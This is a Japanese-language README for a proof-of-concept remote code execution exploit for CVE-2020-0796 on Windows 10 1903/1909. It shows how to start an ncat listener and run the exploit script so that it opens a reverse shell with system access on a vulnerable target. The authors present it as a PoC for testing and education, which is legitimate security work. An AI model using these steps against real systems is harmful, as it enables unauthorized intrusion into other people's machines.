
CVE-2020-0796 用リモートコード実行 PoC
Python と ncat がインストールされていることを確認してください。
ターゲットコンピュータ上で calc_target_offsets.bat を実行し、スクリプトの出力に従って SMBleedingGhost.py ファイルの先頭にあるオフセットを調整します(下記の注も参照してください)。
ncat を次のコマンドライン引数で実行します:
ncat -lvp <port>
ここで <port> は ncat が待ち受けるポート番号です。
SMBleedingGhost.py を次のコマンドライン引数で実行します:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
ここで <target_ip> はターゲットとなる脆弱なコンピュータの IP アドレスです。<reverse_shell_ip> と <reverse_shell_port> は が待ち受けている IP アドレスとポート番号です。
すべてがうまくいけば、ncat はターゲットコンピュータへのシステムアクセスを提供するシェルを表示します。
注: なぜ calc_target_offsets.bat スクリプトをターゲットコンピュータ上で実行する必要があるのか、そしてそれではリモートコード実行がリモートであるという意味が損なわれてしまうのではないか、と思われるかもしれません。これらのオフセットはランダムではなく、同じ Windows バージョンのすべての Windows インスタンスで同じです。ターゲットの Windows バージョンを検出してオフセットを自動的に調整するか、そもそもオフセットに依存しないようにすることで、攻撃をより汎用的にすることもできますが、これは単なる POC であり、私たちはより簡単な方法を選びました。また、この POC が汎用的でなく、テストや教育以外の用途には不便であることは、良いことだと考えています。

Windows 10 バージョン 1903 および 1909 が影響を受けます。パッチ未適用の Windows 10 1903 は、Windows の null ポインタ逆参照バグ(KB4512941 で修正)のためサポートされていません。
この悪用の性質上、POC は単一の論理プロセッサを搭載したコンピュータ(または VM)上で動作するターゲットに対して最もよく機能します。VirtualBox で実行されている複数の論理プロセッサを持つターゲットもサポートされるはずですが、この場合 POC の信頼性は低くなります。その他のターゲットはサポートされない可能性があります。詳細については、下記の技術解説を参照してください。